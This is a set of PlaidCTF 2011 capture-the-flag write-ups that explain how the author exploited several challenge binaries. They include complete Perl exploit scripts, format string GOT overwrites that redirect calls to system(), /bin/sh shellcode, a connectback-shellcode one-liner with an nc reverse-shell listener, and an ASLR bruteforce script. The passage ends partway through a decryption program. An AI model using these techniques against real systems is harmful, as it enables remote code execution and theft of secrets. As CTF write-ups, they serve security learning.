This is my writeup for the twenty-fifth challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“Amalgamated has banned the use of Solitaire due to loss of productivity.
The only employee who would write a new game for everyone only likes ‘retro’ games, and has placed a text-adventure version of pacman on a company server.
We don’t believe he could have coded this securely, and the server contains a vital key.
Connect to the game here and find the key.
nc a9.amalgamated.biz 60123″

There was no binary available for download, so this level was actually completely blind. Connecting to the game we get:

TRUE RETRO PACMAN 8-BIT v2.1
ACCURATE 8-BIT VIRTUALIZATION NOW INCLUDED!
Change log:
1/2/11:  2.1   New years update for increased stability
12/1/10: 2.0.1 Fixed some 8-bit 'overflow' that occured when virtualizing
9/23/10: 2.0   Added actual 8-bit carry and 8-bit behavior for more authenticity
6/15/10: 1.5.1 Added logging of all commands.
6/10/10: 1.5   Now with an actual maze!
2/10/09: 1.0   Release

STATUS:
Item: The able Trophy!
POWERPOINTS:0
Points:0
There is a pill to the north.
There is a pill to the south.
There is a wall to the east.
There is a pill to the west.
There is a pill here!
?> 

Typing “help” gave a list of valid commands:

?> help

VALID COMMANDS::
	help/HELP	 Show this help
	quit/q		 Quit
	take		 Take a pill/powerpill
	n		 Go north
	s		 Go south
	e		 Go east
	w		 Go west.
	t		 Wait.

Walking around in the maze eating pills we notice a few things. First I noticed that after eating 16 pills, each increasing my number of points with 8, my number of points suddenly becomes -128. This indicates that a signed 8-bit integer is used to store the number of points.

STATUS:
Item: The mountain Trophy!
POWERPOINTS:50
Points:120
There is a pill to the north.
There is a wall to the south.
There is nothing to the east.
There is a wall to the west.
There is a pill here!
?> take
Your pick up a pill! Yum!!

STATUS:
Item: The mountain Trophy!
POWERPOINTS:50
Points:-128

We also notice that the number of power points seem to determine which item that is listed in our status. Each time we eat a powerpill the number of points increase with 40, and each time we make a move the number of power points (if any) decreases with one. The somehow odd “t” command which is described as “wait” decreases the number of power points with one as well, and surely this must be for a reason.

Moving on through the game eating pills and powerpills as we encounter them, we will sooner or later run into this situation:

STATUS:
Item: The battle Trophy!
POWERPOINTS:94
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is a POWERPILL here!
?> take
[ERROR] Over 128 powerpoints!

We cannot eat another powerpill since this would put us over the maximum of 128. However, if a signed 8-bit integer is used for the number of powerpoints as well the real maximum should be 127. Let’s use the “t” command a few times until our number of powerpoints is 88, and let’s see what happens when we eat the powerpill:

STATUS:
Item: The answer Trophy!
POWERPOINTS:88
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is a POWERPILL here!
?> take
Your pick up a POWERPILL! Delicious!!

STATUS:
Item: n
POWERPOINTS:-128
Points:-32

Notice anything strange? Well, besides now having a negative number of powerpoints (which we sort of expected) we can also see that our item-string is now “n” instead of “The some-name Trophy!”. Since the number of powerpoints seemed to determine the item that is listed, it seems likely that the number of powerpoints is used as an index into an array of items/trophies and that when a negative index is being used (-128) it will point into some other string that in this case happened to be “n”.

So where does this “n” come from? Well, since “n” is one of the commands for this game it could certainly be a command string that I’ve entered earlier. It’s not the last command I’ve entered though, so if “n” is indeed a command it is probably stored in a command history buffer. Looking back through the scrollback we also notice:

STATUS:
Item: The language Trophy!
POWERPOINTS:41
Points:-80
There is a pill to the north.
There is nothing to the south.
There is a wall to the east.
There is a wall to the west.
There is a pill here!
?> take
Your pick up a pill! Yum!!
Command limit reached. Reseting command buffer.

STATUS:
Item: The language Trophy!
POWERPOINTS:41
Points:-72
There is a pill to the north.
There is nothing to the south.
There is a wall to the east.
There is a wall to the west.
There is nothing here.
?> n
You move north.

See the “Command limit reached.” message? We got that on our 127:th command, which probably means that a history of 127 commands are being stored in an array. If this array is stored right before the item string array, the “n” listed as our item after getting a negative number of powerpoints may be taken from this command history array. So, let’s see what happens if we use “t” or some other command until the command limit is reached again:

...
STATUS:
Item: n
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> t
You wait for a bit...
Command limit reached. Reseting command buffer.

STATUS:
Item: n
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> foobar.%x.%x.%x

STATUS:
Item: foobar.ffc60854.ffc60d58.ffc60854
POWERPOINTS:-128
Points:-32
There is a wall to the north.
There is a wall to the south.
There is a wall to the east.
There is nothing to the west.
There is nothing here.
?> t
You wait for a bit...

As you can see I’ve jumped ahead a bit to show you how this bug is turned into an exploitable vulnerability. The very first command entered after the command limit has been reached is used as the item-string, and is actually being passed directly as the format string argument to presumably printf(). This allows to read memory, like we do above, or even write to arbitrary addresses using the %n format string specifier.

After the number of power points have been wrapped into -128, it stays there, so now we can just wrap around the command history buffer each time we want to use a different format string. I developed the following script for being able to play around, enter different format strings and examine their output:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;
use POSIX;

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 60123;

###########################################################################

my $pwn_str =
 "n\n"x10 . "take\n" . "s\n"x15 . "take\n" . "n\n"x2 . "w\n"x3 . "s\n" .
 "take\n" . "s\n" . "w\n"x5 . "t\n"x5 . "take\n" . "t\n"x(127-46);

###########################################################################

# Connect to server
my $sock =
	IO::Socket::INET->new(
		PeerAddr => $addr,
		PeerPort => $port,
		Proto	 => 'tcp'
	) or die "connect: $!\n";

$sock->autoflush(1);
STDOUT->autoflush(1);

###########################################################################

print $sock $pwn_str;

my $pid = fork();

if (not defined $pid) {
	print STDERR "fork() failed\n";
} elsif ($pid == 0) {
	while (<>) {
		my $fmt = $_;
		$fmt =~ s{\{([0-9A-Fa-f]+)\}}{pack("L",hex($1))}sgex;
		print $sock $fmt,"t\n"x126;
	}
	print "\n";
	kill 15, $pid;
} else {
	my $print_item = 0;
	my $first = 1;
	$SIG{TERM} = sub { exit 0};
	while (<$sock>) {
		if (/^Command limit reached/) {
			if ($first) {
				$first = 0;
				print "Enter format string: ";
			} else {
				$print_item = 1;
			}
		}
		if (/^Item: / && $print_item) {
			s/^Item: //;
			my $buf = $_;
			chomp($buf);
			while (length($buf) > 0) {
				$buf =~ /(.)(.*)/s;
				my $c = $1;
				$buf = $2;
				if (POSIX::isprint($c)) {
					print "$c";
				} else {
					printf("\\x%02x", ord($c));
				}
			}
			print "\n";
			$print_item = 0;
			print "Enter format string: ";
		}
	}
}

###########################################################################

exit 0;

Note that {32-bit-integer-in-hex} will be converted to a raw binary 32-bit integer by the script. This can be used to embed addresses to dump or overwrite. Here’s a sample session:

je@isis:~/ctf/PlaidCTF-2011/25-PC_Rouge$ ./pc-playaround.pl
Enter format string: AAAABBBBCCCC.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
AAAABBBBCCCC.ffa2a184.ffa2a688.ffa2a184.ffa2a687.ffa2a686.ffa2a184.ffa2a27c.6.41000074.42424242.43434343
Enter format string: %12$s{0}...{8048000}
\x7fELF\x01\x01\x01

Here I first determine the offset to the command buffer, by dumping the stack four bytes at a time with %x. The first three bytes are overwritten by a command that has been sent later (‘t’ = 0×74), so if we want to embed an address to read from or write into we should prepend some padding. My second attempt uses %12$s to dereference the pointer that I embed at offset 12 (0×08048000). Obviously NUL-bytes are not a problem, as long as they are located after the format string. The format string buffer is actually located in dynamically allocated memory on the heap, while the command buffer is located in a local variable on the stack. The only problematic byte is 0x0a (e.g. ‘\n’ = line-feed), which ends the command string and is converted to a NUL-byte in the buffer.

Using this technique we are able to dump the entire binary for the level, except for a few bytes at addresses containg 0x0a that we assume are NUL-bytes. This produces a valid enough binary for further analysis in IDA Pro, where we can clearly see the vulnerable call to printf:

printf(item_arr[num_powerpoints]);

We also see that fgets() is used to read our commands, and that the line-feed character is converted to a NUL-byte, just as we have observed:

  if (fgets(buf, 255, stdin)) {
    for (i = 0; i < strlen(buf) - 1; ++i) {
      if (buf[i] == 10) {
        buf[i] = 0;
        break;
      }
    }

If we use the format string vulnerability to overwrite a GOT-entry, fgets() seems to be the perfect choice since its first argument happens to be a pointer to our buffer. If we embed a command line to be executed there and point fgets() into system() instead, our command line will be executed.

Now we just need to find system(), either by bruteforcing it or by reading a GOT-entry and calculating the address to system() based on its offset from the function whose GOT-entry we've read. We used the latter method to find system() based on its offset from fgets(). Since we had not yet noticed that a5 and a9 used the same libc, we first dumped libc using this vulnerability as well. :) Finally, we ended up with the following exploit:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;

###########################################################################

print STDERR "[*] -----------------------------------------------\n";
print STDERR "[*] PC Rouge Exploit - PlaidCTF-2011 - Challenge 25\n";
print STDERR "[*] Coded by Joel Eriksson, AKA je AKA The Beast...\n";
print STDERR "[*] -----------------------------------------------\n";

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 60123;

###########################################################################

my $pwn_str =
 "n\n"x10 . "take\n" . "s\n"x15 . "take\n" . "n\n"x2 . "w\n"x3 . "s\n" .
 "take\n" . "s\n" . "w\n"x5 . "t\n"x5 . "take\n" . "t\n"x(127-46);

my $fgets_got = 0x0804bf18;
my $fgets_off = 0x5bc30;
my $system_off = 0x38fb0;

###########################################################################

# Connect to server
my $sock =
	IO::Socket::INET->new(
		PeerAddr => $addr,
		PeerPort => $port,
		Proto	 => 'tcp'
	) or die "connect: $!\n";

$sock->autoflush(1);
STDOUT->autoflush(1);

###########################################################################

my $line;
my $c = 0x41;
my $marker = chr($c)x8;

###########################################################################

print STDERR "[*] Retrieving fgets() address from the GOT\n";

# LSB of fgets() happened to be a NUL-byte on the a9 box, thus the +1
print $sock $marker,pack("L",$fgets_got+1),"-%11\$s",$pwn_str;

while ($line = <$sock>) {
	last if $line =~ /Item: $marker/;
}

$line =~ /$marker....-(....)/;

my ($fgets_addr) = unpack("L", $1);

$fgets_addr <<= 8;
$fgets_addr &= 0xffffffff;

###########################################################################

print STDERR "[*] Calculating address of system()\n";

my $system_addr = $fgets_addr - 0x5bc30 + 0x38fb0;

###########################################################################

print STDERR "[*] Overwriting the GOT-entry for fgets()\n";

my $hi_addr = $system_addr >> 16;
my $lo_addr = $system_addr & 0xffff;
my ($n1, $n2, $addr1, $addr2);

if ($hi_addr < $lo_addr) {
	$n1 = $hi_addr - 16;
	$n2 = $lo_addr - $lo_addr;
	$addr1 = $fgets_got + 2;
	$addr2 = $fgets_got;
} else {
	$n1 = $lo_addr - 16;
	$n2 = $hi_addr - $lo_addr;
	$addr1 = $fgets_got;
	$addr2 = $fgets_got + 2;
}

$marker = "id; sh; ";

print $sock
	$marker,
	pack("L",$addr1),pack("L",$addr2),
	"%${n1}u%11\$hn","%${n2}u%12\$hn",
	"t\n"x127;

print STDERR "[*] Waiting for shell... ;)\n";

while ($line = <$sock>) {
	last if $line =~ /Item: $marker/;
}

###########################################################################

while ($line = <$sock>) {
	last if $line =~ /^uid/;
}

print STDERR "[*] Exploit succeeded! Press ^C to exit shell...\n";
print STDERR $line;

my $pid = fork();

if (not defined $pid) {
	print STDERR "fork() failed\n";
} elsif ($pid == 0) {
	while (<>) { print $sock $_; }
} else {
	while (<$sock>) { print }
}

###########################################################################

exit 0;

And finally, here is a sample run:

je@isis:~/ctf/PlaidCTF-2011/25-PC_Rouge$ ./pc-xpl.pl
[*] -----------------------------------------------
[*] PC Rouge Exploit - PlaidCTF-2011 - Challenge 25
[*] Coded by Joel Eriksson, AKA je AKA The Beast...
[*] -----------------------------------------------
[*] Retrieving fgets() address from the GOT
[*] Calculating address of system()
[*] Overwriting the GOT-entry for fgets()
[*] Waiting for shell... ;)
[*] Exploit succeeded! Press ^C to exit shell...
uid=1005(pc) gid=1006(pc) groups=1006(pc)
cat /home/pc/key
true8_bit_is_best_bit

This is my writeup for the thirty-sixth challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“AED came up with a secret sharing program that looks like innocent food ordering program.
However, there is an information that if you are able to order the following set of food, you can get the secret key.

IMPORTANT: SOUND is VERY VERY IMPORTANT for this mission!!!! MAKE THE VOLUME LARGE before you actually do stuff…

Reverse the program to find out the key!

10 Regular Hamburgers
5 Cheeseburgers
17 French Fries
8 Hot Dogs
20 Regular Coke”

Taking a quick look at the challenge with IDA Pro and OllyDbg respectively I could see that it’s packed, and that it uses miscellaneous anti-debugging and anti-dumping techniques. To get acquainted with the application I tried to make the order, which gave me the following error message after adding 10 regular hamburgers, 5 cheeseburgers and 11 french fries: “You cannot have more than 25 items in your cart.”

When clicking OK and then the Order-button, I got: “Your order confirmation code is Th3m1d4_iS_s!cK”. At this point I couldn’t imagine that I’ve already found the real key, so I continued with trying to reverse-engineer the program for a while before attempting a different order, which resulted in a completely scrambled string as the order confirmation code. Turns out that the developers for this mission messed something up bigtime, and that “Th3m1d4_iS_s!cK” was the actual key. Might look into actually reversing the program someday, but for now I settle with the key. :D

I’m glad that our team would have won the competition even without these 250 points though, wouldn’t have felt fair if this would have been the difference between winning and losing. :)

This is my writeup for the twenty-sixth challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“nc a9.amalgamated.biz 10241″

The binary for the server listening on this port was also available for download. Turns out that this challenge is almost identical with hashcalc1, except for the fact that it is executed through inetd instead of using its own socket handling. Also, in this case the call to strlen() in the function that calculates the hash is inlined. There is another call to strlen() in the function that writes to the socket though. Since the string has been prepended with “<hash> (” before our buffer we need to make sure that this string can be interpreted as valid instructions as well, without triggering a crash.

To change the hash I could simply append to the string, and ended up with the following:

(cat ~/cb.bin; perl -e '
    print pack("L",0x804911c+2),pack("L",0x804911c),
    "%'$[0x0804-88]'u","%25\$hn","%'$[0x8e1b-0x0804]'u","%26\$hn","%20000u"'
) | nc a9.amalgamated.biz 10241

In another tty:

je@isis:~$ nc -l 12345
id
uid=1008(hashcalc2) gid=1009(hashcalc2) groups=1009(hashcalc2)
cat /home/hashcalc2/key
funkyG_1S_th3_b3$t

This is my writeup for the twenty-third challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“It seems like AED also has some plans to raise hacker force!
We found this binary as an exploitation practice program in the office, but they forgot to remove the setgid flag on the program.
So we can get the secret key!
ssh username@a5.amalgamated.biz”

Using IDA Pro I see that the binary contains a deliberate stackbased buffer overflow, designed to allow us to overwrite a pointer that is later dereferenced and written into with a user defined value. The decompiled code is as follows:

void ExploitMe(const char *str, int val, size_t len);
int main(int argc, char **argv)
{
  int a2, a3;
  if (argc <= 3) {
    puts("Regards, Dolan :} ");
    exit(-1);
  }
  a3 = atoi(argv[3]);
  a2 = atoll(argv[2]);
  ExploitMe(argv[1], a2, a3);
  return 0;
}
void ExploitMe(const char *str, int val, size_t len)
{
  int *p;
  char buf[64];
  if (len <= 71) {
    p = len;
    strncpy(buf, str, len);
    if (p)
      *p = val;
    exit(0);
  }
}

The pointer p is located directly after the 64-bytes buffer we're overflowing, and the value we're writing into the pointer is taken from our second command line argument. Since exit() is called directly after this, we use this to overwrite its GOT-entry. As you can see below, this is located at 0x80497f4.

je@isis:~/ctf/PlaidCTF-2011/23-Exploit_Me# objdump -R exploitMe | grep exit
080497f4 R_386_JUMP_SLOT   exit

Since a pointer to our buffer is located at offset 8 on the stack when exit() is called, due to the previous strncpy() call, we can use a pop-pop-ret trampoline to jump there. I found one at address 0x80484d2, and could use this for the following exploit:

#!/usr/bin/perl

my $code =
	"\xeb\x10".			#	jmp	jumpme
					# callme:
	"\x5b".				#	pop	%ebx
	"\x31\xd2".			#	xor	%edx,%edx
	"\x88\x53\x07".			#	mov	%dl,0x7(%ebx)
	"\x52".				#	push	%edx
	"\x53".				#	push	%ebx
	"\x89\xe1".			#	mov	%esp,%ecx
	"\x31\xc0".			#	xor	%eax,%eax
	"\xb0\x0b".			#	mov	$0xb,%al
	"\xcd\x80".			#	int	$0x80
					# jumpme:
	"\xe8\xeb\xff\xff\xff".		#	call	callme
	"/bin/sh";			# .ascii  "/bin/sh"

$code .= "A"x(64-length($code));

my $exitgot = 0x80497f4;
my $pop2ret = 0x80484d2;

exec '/opt/pctf/exploit/exploitMe', $code.pack("L",$exitgot), $pop2ret, 68;

If NX would have been effective this challenge would have required some further digging to find a suitable ROP gadget for running system() or execve() for instance. In this case I settled with this to get the key: K3Ys_t0_15_M1nUtEs_0f_F4mE

This is my writeup for the twenty-second challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“nc a9.amalgamated.biz 30001″

The binary for the server listening on this port was also available for download. Simply running strings on the binary reveals that it is a forking socket server that spawns a new process to handle each incoming connection. Connecting to the service we get:

This is an example of connecting to the service on my own machine:

je@isis:~$ nc localhost 30001
** Welcome to the online hash calculator **
$ foo
3828 (foo)
je@isis:~$ nc localhost 30001
** Welcome to the online hash calculator **
$ bar
604 (bar)

The service prompts for a string, calculates its hash and prints it out to the user before closing the connection. If we send a string slightly larger than 256 bytes the connection is abruptly closed though, which most likely indicates a buffer overflow. Since the binary is compiled with stack canaries enabled this may not be all that useful though. A quick inspection in IDA Pro reveals that the buffer overflow is due to a vsprintf() in the function at 0x08048b22, which I’ve named sock_printf() to be a bit more descriptive. The decompiled version is as follows:

void sock_printf(int fd, const char *fmt, ...)
{
  size_t len;
  char buf[256];
  va_list ap;

  va_start(ap, fmt);
  vsprintf(buf, fmt, ap);
  len = strlen(buf);
  if (send(fd, buf, len, 0) == -1) {
    perror("send message");
    exit(-1);
  }
}

There is also code for checking a stack cookie, but since that is automatically inserted by the compiler I’ve omitted that part from my decompiled code. As you can see, there really isn’t much of value to overwrite on the stack unless we can predict (or bruteforce) the stack cookie, or patch the GOT-entry for ___stack_chk_fail(). Luckily for us there is another issue to exploit, that is revealed by simply sending a “%n” as the string to hash. This will also result in the connection being abruptly closed, which indicates a format string vulnerability.

In IDA Pro we can see that the format string vulnerability is triggered by an fprintf(log_fp, buf), right before the hash is calculated. Since the output is written to a logfile and not back to the socket we are not able to use this to read data from the stack. Since our buffer is on the stack we can easily use this to achieve arbitrary writes to arbitrary addresses though, by embedding the addresses we want to write to in our buffer and finding the offset to the buffer by, for instance, embedding a known writable address in our buffer, using %n at different offsets and switching to a known invalid / non-writable address for each offset that does not trigger a crash. Since we have access to the binary we can determine the offset (5) directly by analyzing the code though.

Due to a mistake by the PlaidCTF organizers, NX was not effective and ordinary shellcode could be used, which saved me some time. Since strlen() is called directly after the vulnerable fprintf(), in the function that calculates the hash, I chose to use the format string vulnerability to overwrite the GOT-entry for strlen() at address 0x0804a41c. Since the stack is randomized it would require bruteforcing to find our shellcode in the stack, but since a pointer to our buffer is passed as the first argument to strlen() we can just stuff our shellcode into the beginning of the buffer and use a suitable trampoline from the binary itself, which is mapped on a fixed address. A pop-ret or a call eax would be good for this purpose, since the buffer pointer is copied into eax before being passed as an argument. I chose the latter, at address 0x080491cb.

At this point of the competition I felt pretty lazy, so ended up exploiting it with a one-liner instead of creating a script for it:

(cat ~/cb.bin; perl -e '
    print pack("L",0x804a41c+2),pack("L",0x804a41c),
    "%'$[0x0804-88]'u","%25\$hn","%'$[0x91cb-0x0804]'u","%26\$hn"'
) | nc a9.amalgamated.biz 30001

The file cb.bin is an 80 bytes connectback shellcode. Since the beginning of our buffer was at offset 5 I add 20 to this now when I’ve embedded the addresses to write to after the shellcode (20*4=80), and end up with %25$hn and %26$hn to overwrite the two most significant bytes and the two least significant bytes of the GOT-entry respectively.

In another tty I’ve set up a netcat listener on the port that the connectback shellcode connects to:

je@isis:~$ nc -l 12345
id
uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1)
cat /home/hashcalc1/key
th3_0tH3r_DJB

This is my writeup for the twenty-first challenge in the PlaidCTF 2011 competition. The information for the challenge was:

“We have obtained the binary for AED’s internal data encryption service, running at a9.amalgamated.biz:10240.
Obtain AED’s data encryption key.”

The binary for this level was available for download, so that it could be inspected in IDA Pro and debugged with GDB. Turns out it is executed through inetd, or some similar service. It reads its input data from stdin and writes to stdout, and does not contain any socket handling code by itself.

By analyzing the code in IDA Pro I noticed that snprintf() is called with 80 as its length argument. The problem with this is that the stack buffer it writes to is only 64 bytes large. This is not enough to overwrite the saved return address, we will however overwrite the FILE-pointer for a log file right before fwrite() and fclose() is called. I knew that the FILE-struct contains a pointer to an array of function pointers, and first wrote an exploit that used this to achieve code execution. Since the buffer we control is much smaller than the FILE-struct it was a bit tricky to get right, but I finally ended up with this piece of code to achieve code execution on my own system with ASLR deactivated:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ cat keyleak-xpl.pl
#!/usr/bin/perl

my $buffer_addr = 0xffffc630;
my $do_system = 0xf7c9bf30;
my $cmd = ";id;sh;"; # Prepend ";" since eax points 36 bytes before this string...

$cmd .= "A"x(44-length($cmd));

print	pack("L",$do_system),		# vtable + 0x1c = gets called by _IO_fwrite(), with eax = vtable pointer
	pack("L",$buffer_addr-0x1c),	# vtable pointer @ fp + 148 + _vtable_offset
	$cmd,				# command line
	chr(0x82),			# _vtable_offset as a signed byte -> 0x82 = -126
	"AAA",				# padding
	pack("L",$buffer_addr-18);	# Overwritten FILE-pointer (fp)
je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ (./keyleak-xpl.pl; cat) | ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin
../04fb7dde1e519a7efd248c43ce9967a40276981e.bin: /lib32/libcrypto.so.1.0.0: no version information available (required by ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin)
Username:
sh: U�����@������1304132799:: not found
uid=1000(je) gid=1000(je)

Note that I overwrite the FILE-pointer with the address to my buffer minus 18. This is to make sure I am able to control the _vtable_offset variable and make fwrite() use the function pointer I’m placing in the beginning of the buffer. It is also critical that the word that happens to be at this stack address is a negative number (e.g most significant bit set), to avoid a crash due to dereferencing a value out of my control.

If you want to try this on your own system, deactivate ASLR with sysctl kernel.randomize_va_space=0 (as root) and determine the buffer address with:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ gdb -q ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin core
...
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `../04fb7dde1e519a7efd248c43ce9967a40276981e.bin'.
Program terminated with signal 11, Segmentation fault.
#0  _IO_fwrite (buf=0xffffc604, size=1, count=73, fp=0xbadc0ddb) at iofwrite.c:43
43	iofwrite.c: No such file or directory.
	in iofwrite.c
(gdb) up
#1  0xf7ffccd9 in ?? ()
(gdb) p/x $ebp-72
$1 = 0xffffc610
(gdb) x/i do_system
   0xf7c9bf30 :	push   %ebp

If your libc is stripped from symbols, you can disassemble system() to find the do_system() function pointer. Example:

(gdb) x/18i system
   0xf7c9c3d0 <__libc_system>:	sub    $0xc,%esp
   0xf7c9c3d3 <__libc_system+3>:	mov    %esi,0x4(%esp)
   0xf7c9c3d7 <__libc_system+7>:	mov    0x10(%esp),%esi
   0xf7c9c3db <__libc_system+11>:	mov    %ebx,(%esp)
   0xf7c9c3de <__libc_system+14>:	call   0xf7c79a0f <__i686.get_pc_thunk.bx>
   0xf7c9c3e3 <__libc_system+19>:	add    $0x11cc11,%ebx
   0xf7c9c3e9 <__libc_system+25>:	mov    %edi,0x8(%esp)
   0xf7c9c3ed <__libc_system+29>:	test   %esi,%esi
   0xf7c9c3ef <__libc_system+31>:	je     0xf7c9c410 <__libc_system+64>
   0xf7c9c3f1 <__libc_system+33>:	mov    %gs:0xc,%eax
   0xf7c9c3f7 <__libc_system+39>:	test   %eax,%eax
   0xf7c9c3f9 <__libc_system+41>:	jne    0xf7c9c434 <__libc_system+100>
   0xf7c9c3fb <__libc_system+43>:	mov    (%esp),%ebx
   0xf7c9c3fe <__libc_system+46>:	mov    %esi,%eax
   0xf7c9c400 <__libc_system+48>:	mov    0x8(%esp),%edi
   0xf7c9c404 <__libc_system+52>:	mov    0x4(%esp),%esi
   0xf7c9c408 <__libc_system+56>:	add    $0xc,%esp
   0xf7c9c40b <__libc_system+59>:	jmp    0xf7c9bf30 <do_system>

This depends on two addresses though, the address to the buffer and the offset to the libc internal do_system() function. Although it’s certainly possible, it could potentially take a pretty long time to bruteforce both of these values when ASLR is active and unfortunately this is the case on a9.amalgamated.biz where the keyleak server resides. So, let’s figure out another way to exploit this bug.

Reading the description for this mission we learn that we only need to obtain the encryption key used by the program, we don’t actually need code execution. So, let’s see how the key is used by the program and if there is some way we could retrieve it without actually executing code or getting a shell.

The file descriptor to the key file has not yet been opened when the vulnerability is triggered, so finding a way to directly dump the contents of the key file seems unlikely. However, this piece of code indicates that we may do something else that might be useful:

      usr_buf_len = read(0, usr_buf, 1024u);
      key_buf_len = read(fd, key_buf, 1024u);

A buffer is read from file descriptor 0 = stdin = the socket descriptor in this case. Then the key is read from the key file descriptor. If we overflow the FILE-pointer with the address of stdin we can close this descriptor, which will make the next call to open() to reuse file descriptor 0. The next call to open() opens the key file in this case, which means that the key will be read into usr_buf (user input buffer). Since this read() will consume everything in the keyfile, the read() into key_buf will result in an empty string.

So, how would this help us? Well, analyzing the rest of the code it derives an AES encryption key from the contents of the keyfile combined with a 32 byte random salt.

      if ( RAND_bytes(salt, 32) == 1 )
      {
        hash_algo = EVP_sha256();
        if ( PKCS5_PBKDF2_HMAC(key_buf, key_buf_len, salt, 32, 4096, hash_algo, 32, derived_key) == 1 )
        ...

The key would in this case be an empty string. :)

Then it continues with generating a random IV for initializing the AES-256 cipher along with the key.

          if ( RAND_bytes(iv, 16) == 1 )
          {
            EVP_CIPHER_CTX_init(&ctx);
            cipher = EVP_aes_256_cbc();
            if ( EVP_EncryptInit_ex(&ctx, cipher, 0, derived_key, iv) == 1 )

It finishes off by encrypting the user input buffer (containing the real key), and then writing the salt, the iv and the encrypted buffer to stdout.

              if ( EVP_EncryptUpdate(&ctx, encbuf, &n, usr_buf, usr_buf_len) == 1 )
              {
                if ( EVP_EncryptFinal_ex(&ctx, &encbuf[n], &tmp_n) == 1 )
                {
                  EVP_CIPHER_CTX_cleanup(&ctx);
                  n += tmp_n;
                  fflush(stdout);
                  write(1, salt, 32u);
                  write(1, iv, 16u);
                  write(1, encbuf, n);

So, if we manage to close stdin we will get the real key encrypted with a key we will be able to determine by using the known salt, iv and an empty string as key.

Since ASLR is used we had to use bruteforce to find the stdin pointer. Only 12 bits of the glibc base is randomized, and empirically it seems as if some addresses are much more likely to be used than others. The most effective way to bruteforce is therefore to use a static “guess”, based on the address taken from a previous execution. Since we had not yet realized that the a5 box where we already had shell access through SSH used the same glibc version as the a9 box, we used our PC Rouge exploit to upload the keyleak program and the following small library:

#include <unistd.h>
#include <stdio.h>

__attribute__((constructor))
void my_init()
{
	printf("0x%x\n", (unsigned int) stdin);
        _exit(1);
}

By loading this library with LD_PRELOAD when executing keyleak we get to know the address of stdin for this particular execution attempt, and can use this value to bruteforce with.

$ gcc -shared -o xxx.so xxx.c
$ LD_PRELOAD=./xxx.so ./keyleak
0xb75f0420

To perform the bruteforce I developed the following script:

#!/usr/bin/perl -w

use strict;

use IO::Socket::INET;
use FileHandle;

###########################################################################

# Exit with an error message if more than two arguments are given
die "Usage: $0 [ADDR] [PORT]\n"
  if @ARGV > 2;

# Get address and port from the command line, or use default values
my $addr = shift || '128.237.157.79';
my $port = shift || 10240;

###########################################################################

STDOUT->autoflush(1);

###########################################################################

my $found = 0;
my $i = 0;
my $line;
my $buf;

while (! $found) {
	print STDERR ".";

	# Connect to server
	my $sock = IO::Socket::INET->new(
			PeerAddr => $addr,
			PeerPort => $port,
			Proto	 => 'tcp'
		) or die "connect: $!\n";

	$sock->autoflush(1);

	print $sock "A"x56,pack("L",0xb75f0420),chr(10);

	$buf = "";

	while ($line = <$sock>) {
		next if $line eq "Username: ";

		$buf .= $line;
	}

	next if $buf eq "";

	$buf =~ s/.*Key length is 0 bytes\.\n//s;

	print STDERR "\nFound it!\n";

	while (length($buf) > 0) {
		$buf =~ /(.)(.*)/s;
		my $c = $1;
		$buf = $2;
		print chr(10) if ($i > 0 && ($i % 16) == 0);
		printf("%02X ", ord($c));
		$i = $i + 1;
	}

	print "\n";

	last;
}

###########################################################################

exit 0;

This is the output from a sample execution:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ ./keyleak-getkey.pl
................................
Found it!
C2 3C 34 D3 43 58 F1 26 3E 38 2C 91 3F 58 DB 8F
DA 8E 58 90 BA E9 B7 FD 92 5F D9 6C 05 87 85 72
56 C5 39 12 95 BA C8 9E D7 A0 52 82 CA 8E C3 FD
74 97 E4 16 5A D8 23 8D 3E B6 49 61 A6 C3 54 CE
8F 17 C2 E8 0E 9A 88 A2 DE 80 5B B6 E2 97 D6 19

The first 32 bytes is the salt used when deriving the encryption key. This is followed by the 16 bytes IV buffer that is used when initializing AES, and finally by 32 bytes representing the encrypted key.

To get the plaintext key we can now feed this into the following program, originally developed by Kaliman while I worked on the stdin bruteforce script:

je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ cat decode_key.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <openssl/evp.h>
#include <openssl/aes.h>

int aes_dec(unsigned char *data, int len, unsigned char *salt, unsigned char *iv, unsigned char *out)
{
	EVP_CIPHER_CTX ctx;
	int n1 = 0, n2 = 0;
	char key[32];

	memset(key, 0, 32);
	PKCS5_PBKDF2_HMAC(key, 0, salt, 32, 4096, EVP_sha256(), sizeof(key), key);
	EVP_CIPHER_CTX_init(&ctx);
	EVP_DecryptInit_ex(&ctx, EVP_aes_256_cbc(), NULL, key, iv);
	EVP_DecryptUpdate(&ctx, out, &n1, data, len);
	EVP_DecryptFinal_ex(&ctx, out+n1, &n2);

	return n1 + n2;
}

int main()
{
